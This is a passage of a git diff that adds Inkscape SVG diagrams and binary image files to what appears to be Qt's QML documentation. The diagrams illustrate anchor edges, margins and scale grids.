id="text3661"><tspan + sodipodi:role="line" + id="tspan3663" + x="258.78955" + y="412.28455" + style="font-size:10px">VerticalCenter</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="260.18896" + y="433.27582" + id="text3665"><tspan + sodipodi:role="line" + id="tspan3667" + x="260.18896" + y="433.27582" + style="font-size:10px">Bottom</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="198.96443" + y="376.24954" + id="text3669"><tspan + sodipodi:role="line" + id="tspan3671" + x="198.96443" + y="376.24954" + style="font-size:10px">Left</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="230.55408" + y="375.39383" + id="text3673"><tspan + sodipodi:role="line" + id="tspan3675" + x="230.55408" + y="375.39383" + style="font-size:10px">Right</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="186.71951" + y="355.25827" + id="text3677"><tspan + sodipodi:role="line" + id="tspan3679" + x="186.71951" + y="355.25827" + style="font-size:10px">HorizontalCenter</tspan></text> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;marker-start:url(#Arrow1Mstart)" + d="M 224.2567,375.39382 C 227.40539,356.85154 227.75525,357.20139 227.75525,357.20139" + id="path3681" /> + </g> +</svg> diff --git a/doc/src/declarative/pics/edges_examples.svg b/doc/src/declarative/pics/edges_examples.svg new file mode 100644 index 0000000..31e9901 --- /dev/null +++ b/doc/src/declarative/pics/edges_examples.svg @@ -0,0 +1,109 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg3885" + sodipodi:version="0.32" + inkscape:version="0.44.1" + inkscape:export-filename="/home/mbrasser/edge4.png" + inkscape:export-xdpi="189.65207" + inkscape:export-ydpi="189.65207" + sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" + sodipodi:docname="edges_examples.svg"> + <defs + id="defs3887" /> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="10000" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="2" + inkscape:cx="162.62912" + inkscape:cy="591.92069" + inkscape:document-units="px" + inkscape:current-layer="layer1" + inkscape:window-width="928" + inkscape:window-height="624" + inkscape:window-x="0" + inkscape:window-y="495" /> + <metadata + id="metadata3890"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" + id="rect3893" + width="50" + height="50" + x="100" + y="414.36218" /> + <rect + style="opacity:1;fill:#fa0c2a;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" + id="rect3895" + width="104" + height="50" + x="150" + y="414.36218" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="109" + y="443.65125" + id="text3897"><tspan + sodipodi:role="line" + id="tspan3899" + x="109" + y="443.65125">rect1</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="186.54297" + y="443.65125" + id="text3901"><tspan + sodipodi:role="line" + id="tspan3903" + x="186.54297" + y="443.65125">rect2</tspan></text> + <rect + style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" + id="rect3905" + width="50" + height="50" + x="254" + y="414.36218" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="263" + y="443.65125" + id="text3907"><tspan + sodipodi:role="line" + id="tspan3909" + x="263" + y="443.65125">rect3</tspan></text> + </g> +</svg> diff --git a/doc/src/declarative/pics/edges_qml.png b/doc/src/declarative/pics/edges_qml.png Binary files differnew file mode 100644 index 0000000..73f22f9 --- /dev/null +++ b/doc/src/declarative/pics/edges_qml.png diff --git a/doc/src/declarative/pics/edges_qml.svg b/doc/src/declarative/pics/edges_qml.svg new file mode 100644 index 0000000..1814ec6 --- /dev/null +++ b/doc/src/declarative/pics/edges_qml.svg @@ -0,0 +1,188 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg2" + sodipodi:version="0.32" + inkscape:version="0.44.1" + sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" + sodipodi:docname="edges_qml.svg" + inkscape:export-filename="/home/mbrasser/edges_qml.png" + inkscape:export-xdpi="284.45999" + inkscape:export-ydpi="284.45999"> + <defs + id="defs4"> + <marker + inkscape:stockid="Arrow1Mstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Mstart" + style="overflow:visible"> + <path + id="path3850" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.4) translate(10,0)" /> + </marker> + <marker + inkscape:stockid="Arrow1Lstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Lstart" + style="overflow:visible"> + <path + id="path3856" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.8) translate(12.5,0)" /> + </marker> + </defs> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="10000" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="2.8583315" + inkscape:cx="372.04724" + inkscape:cy="596.15198" + inkscape:document-units="px" + inkscape:current-layer="layer1" + inkscape:window-width="1279" + inkscape:window-height="969" + inkscape:window-x="0" + inkscape:window-y="0" /> + <metadata + id="metadata7"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" + id="rect1872" + width="33.656742" + height="39.808346" + x="208.86543" + y="390.22763" + rx="5" + ry="5" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733" + id="path2760" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733" + id="path3647" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733" + id="path3649" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956" + id="path3651" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112" + id="path3653" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742" + id="path3655" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="258.54242" + y="393.58627" + id="text3657"><tspan + sodipodi:role="line" + id="tspan3659" + x="258.54242" + y="393.58627" + style="font-size:10px">top</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="258.78955" + y="412.28455" + id="text3661"><tspan + sodipodi:role="line" + id="tspan3663" + x="258.78955" + y="412.28455" + style="font-size:10px">verticalCenter</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="260.18896" + y="433.27582" + id="text3665"><tspan + sodipodi:role="line" + id="tspan3667" + x="260.18896" + y="433.27582" + style="font-size:10px">bottom</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="200.96443" + y="376.24954" + id="text3669"><tspan + sodipodi:role="line" + id="tspan3671" + x="200.96443" + y="376.24954" + style="font-size:10px">left</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="232.55408" + y="375.39383" + id="text3673"><tspan + sodipodi:role="line" + id="tspan3675" + x="232.55408" + y="375.39383" + style="font-size:10px">right</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="190.71951" + y="355.25827" + id="text3677"><tspan + sodipodi:role="line" + id="tspan3679" + x="190.71951" + y="355.25827" + style="font-size:10px">horizontalCenter</tspan></text> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Mstart);stroke-opacity:1" + d="M 226.2567,375.39382 C 229.40539,356.85154 229.75525,357.20139 229.75525,357.20139" + id="path3681" /> + </g> +</svg> diff --git a/doc/src/declarative/pics/flickable.gif b/doc/src/declarative/pics/flickable.gif Binary files differnew file mode 100644 index 0000000..f7a3319 --- /dev/null +++ b/doc/src/declarative/pics/flickable.gif diff --git a/doc/src/declarative/pics/flipable.gif b/doc/src/declarative/pics/flipable.gif Binary files differnew file mode 100644 index 0000000..6386f06 --- /dev/null +++ b/doc/src/declarative/pics/flipable.gif diff --git a/doc/src/declarative/pics/gradient.png b/doc/src/declarative/pics/gradient.png Binary files differnew file mode 100644 index 0000000..5eefdd2 --- /dev/null +++ b/doc/src/declarative/pics/gradient.png diff --git a/doc/src/declarative/pics/gridLayout_example.png b/doc/src/declarative/pics/gridLayout_example.png Binary files differnew file mode 100644 index 0000000..6b120e9 --- /dev/null +++ b/doc/src/declarative/pics/gridLayout_example.png diff --git a/doc/src/declarative/pics/gridview.png b/doc/src/declarative/pics/gridview.png Binary files differnew file mode 100644 index 0000000..3726893 --- /dev/null +++ b/doc/src/declarative/pics/gridview.png diff --git a/doc/src/declarative/pics/highlight.gif b/doc/src/declarative/pics/highlight.gif Binary files differnew file mode 100644 index 0000000..fbef256 --- /dev/null +++ b/doc/src/declarative/pics/highlight.gif diff --git a/doc/src/declarative/pics/horizontalpositioner_example.png b/doc/src/declarative/pics/horizontalpositioner_example.png Binary files differnew file mode 100644 index 0000000..42f90ec --- /dev/null +++ b/doc/src/declarative/pics/horizontalpositioner_example.png diff --git a/doc/src/declarative/pics/margins_qml.png b/doc/src/declarative/pics/margins_qml.png Binary files differnew file mode 100644 index 0000000..d7d73a3 --- /dev/null +++ b/doc/src/declarative/pics/margins_qml.png diff --git a/doc/src/declarative/pics/margins_qml.svg b/doc/src/declarative/pics/margins_qml.svg new file mode 100644 index 0000000..1f0ff02 --- /dev/null +++ b/doc/src/declarative/pics/margins_qml.svg @@ -0,0 +1,196 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg2" + sodipodi:version="0.32" + inkscape:version="0.44.1" + sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" + sodipodi:docname="margins_qml.svg" + inkscape:export-filename="/home/mbrasser/edges_qml.png" + inkscape:export-xdpi="284.45999" + inkscape:export-ydpi="284.45999"> + <defs + id="defs4"> + <marker + inkscape:stockid="Arrow1Send" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Send" + style="overflow:visible;"> + <path + id="path2976" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;" + transform="scale(0.2) rotate(180) translate(6,0)" /> + </marker> + <marker + inkscape:stockid="Arrow1Sstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Sstart" + style="overflow:visible"> + <path + id="path2979" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.2) translate(6,0)" /> + </marker> + <marker + inkscape:stockid="Arrow1Mstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Mstart" + style="overflow:visible"> + <path + id="path3850" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.4) translate(10,0)" /> + </marker> + <marker + inkscape:stockid="Arrow1Lstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Lstart" + style="overflow:visible"> + <path + id="path3856" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.8) translate(12.5,0)" /> + </marker> + </defs> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="10000" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="2.8583315" + inkscape:cx="372.04724" + inkscape:cy="596.15198" + inkscape:document-units="px" + inkscape:current-layer="layer1" + inkscape:window-width="1279" + inkscape:window-height="969" + inkscape:window-x="0" + inkscape:window-y="0" /> + <metadata + id="metadata7"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" + id="rect1872" + width="33.656742" + height="39.808346" + x="208.86543" + y="390.22763" + rx="5" + ry="5" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02602077;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602088, 1.02602088;stroke-dashoffset:0;stroke-opacity:1" + d="M 252.98692,377.00435 C 252.98692,443.05433 253.31077,443.05433 253.31077,443.05433" + id="path3647" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02601969;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602007, 1.02602007;stroke-dashoffset:0;stroke-opacity:1" + d="M 198.35134,377.00433 C 198.35134,443.05431 198.67515,443.05431 198.67515,443.05431" + id="path3649" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1" + d="M 193.94282,437.97112 C 257.43421,437.97112 257.06721,437.97112 257.06721,437.97112" + id="path3653" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1" + d="M 193.94282,380.78742 C 257.43421,380.78742 257.06721,380.78742 257.06721,380.78742" + id="path3655" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="260.29169" + y="388.78741" + id="text1911"><tspan + sodipodi:role="line" + id="tspan1913" + x="260.29169" + y="388.78741" + style="font-size:10px">topMargin</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="259.65204" + y="437.27798" + id="text1915"><tspan + sodipodi:role="line" + id="tspan1917" + x="259.65204" + y="437.27798" + style="font-size:10px">bottomMargin</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="170.07939" + y="454.4209" + id="text1919"><tspan + sodipodi:role="line" + id="tspan1921" + x="170.07939" + y="454.4209" + style="font-size:10px">leftMargin</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="228.47504" + y="454.4209" + id="text1923"><tspan + sodipodi:role="line" + id="tspan1925" + x="228.47504" + y="454.4209" + style="font-size:10px">rightMargin</tspan></text> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92020172px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1" + d="M 225.6938,382.51213 C 225.6938,388.91693 225.6938,388.91693 225.6938,388.91693" + id="path1929" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92007709px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1" + d="M 225.6938,430.56703 C 225.6938,436.97192 225.6938,436.97192 225.6938,436.97192" + id="path3000" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1" + d="M 201.16631,410.1318 C 207.81355,410.1318 207.81355,410.1318 207.81355,410.1318" + id="path3002" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1" + d="M 244.02348,410.1318 C 250.67072,410.1318 250.67072,410.1318 250.67072,410.1318" + id="path3889" /> + </g> +</svg> diff --git a/doc/src/declarative/pics/particles.gif b/doc/src/declarative/pics/particles.gif Binary files differnew file mode 100644 index 0000000..763a8a8 --- /dev/null +++ b/doc/src/declarative/pics/particles.gif diff --git a/doc/src/declarative/pics/pathview.gif b/doc/src/declarative/pics/pathview.gif Binary files differnew file mode 100644 index 0000000..4052eb2 --- /dev/null +++ b/doc/src/declarative/pics/pathview.gif diff --git a/doc/src/declarative/pics/positioner-add.gif b/doc/src/declarative/pics/positioner-add.gif Binary files differnew file mode 100644 index 0000000..86e9247 --- /dev/null +++ b/doc/src/declarative/pics/positioner-add.gif diff --git a/doc/src/declarative/pics/positioner-move.gif b/doc/src/declarative/pics/positioner-move.gif Binary files differnew file mode 100644 index 0000000..1825c22 --- /dev/null +++ b/doc/src/declarative/pics/positioner-move.gif diff --git a/doc/src/declarative/pics/positioner-remove.gif b/doc/src/declarative/pics/positioner-remove.gif Binary files differnew file mode 100644 index 0000000..7086511 --- /dev/null +++ b/doc/src/declarative/pics/positioner-remove.gif diff --git a/doc/src/declarative/pics/propanim.gif b/doc/src/declarative/pics/propanim.gif Binary files differnew file mode 100644 index 0000000..f86406e --- /dev/null +++ b/doc/src/declarative/pics/propanim.gif diff --git a/doc/src/declarative/pics/qml-context-object.png b/doc/src/declarative/pics/qml-context-object.png Binary files differnew file mode 100644 index 0000000..1b91aff --- /dev/null +++ b/doc/src/declarative/pics/qml-context-object.png diff --git a/doc/src/declarative/pics/qml-context-tree.png b/doc/src/declarative/pics/qml-context-tree.png Binary files differnew file mode 100644 index 0000000..6bba5f4 --- /dev/null +++ b/doc/src/declarative/pics/qml-context-tree.png diff --git a/doc/src/declarative/pics/qml-context.png b/doc/src/declarative/pics/qml-context.png Binary files differnew file mode 100644 index 0000000..bdf2ecd --- /dev/null +++ b/doc/src/declarative/pics/qml-context.png diff --git a/doc/src/declarative/pics/qml-scope.png b/doc/src/declarative/pics/qml-scope.png Binary files differnew file mode 100644 index 0000000..be025c8 --- /dev/null +++ b/doc/src/declarative/pics/qml-scope.png diff --git a/doc/src/declarative/pics/qtlogo.png b/doc/src/declarative/pics/qtlogo.png Binary files differnew file mode 100644 index 0000000..399bd0b --- /dev/null +++ b/doc/src/declarative/pics/qtlogo.png diff --git a/doc/src/declarative/pics/rect-smooth.png b/doc/src/declarative/pics/rect-smooth.png Binary files differnew file mode 100644 index 0000000..7ffd8ab --- /dev/null +++ b/doc/src/declarative/pics/rect-smooth.png diff --git a/doc/src/declarative/pics/reflection_example.png b/doc/src/declarative/pics/reflection_example.png Binary files differnew file mode 100644 index 0000000..fd9bb48 --- /dev/null +++ b/doc/src/declarative/pics/reflection_example.png diff --git a/doc/src/declarative/pics/repeater-index.png b/doc/src/declarative/pics/repeater-index.png Binary files differnew file mode 100644 index 0000000..3dbe6d0 --- /dev/null +++ b/doc/src/declarative/pics/repeater-index.png diff --git a/doc/src/declarative/pics/repeater.png b/doc/src/declarative/pics/repeater.png Binary files differnew file mode 100644 index 0000000..973df27 --- /dev/null +++ b/doc/src/declarative/pics/repeater.png diff --git a/doc/src/declarative/pics/scalegrid.svg b/doc/src/declarative/pics/scalegrid.svg new file mode 100644 index 0000000..e386f3d --- /dev/null +++ b/doc/src/declarative/pics/scalegrid.svg @@ -0,0 +1,183 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg2" + sodipodi:version="0.32" + inkscape:version="0.44.1" + sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" + sodipodi:docname="scalegrid.svg" + inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/scalegrid.png" + inkscape:export-xdpi="189.65207" + inkscape:export-ydpi="189.65207"> + <defs + id="defs4" /> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="50" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="3.2163554" + inkscape:cx="173.89302" + inkscape:cy="703.69531" + inkscape:document-units="px" + inkscape:current-layer="layer1" + showgrid="true" + inkscape:grid-bbox="false" + inkscape:guide-bbox="false" + inkscape:window-width="1409" + inkscape:window-height="1016" + inkscape:window-x="0" + inkscape:window-y="0" /> + <metadata + id="metadata7"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:red;fill-opacity:1;stroke:none;stroke-width:3;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1" + id="rect1876" + width="45.104" + height="45.137001" + x="119.16868" + y="301.00308" + rx="5" + ry="5" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.3965202;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304035, 0.39652018;stroke-dashoffset:0;stroke-opacity:1" + d="M 157.02483,295.52571 C 157.02483,352.04784 157.02483,352.04784 157.02483,352.04784" + id="path2766" /> + <path + 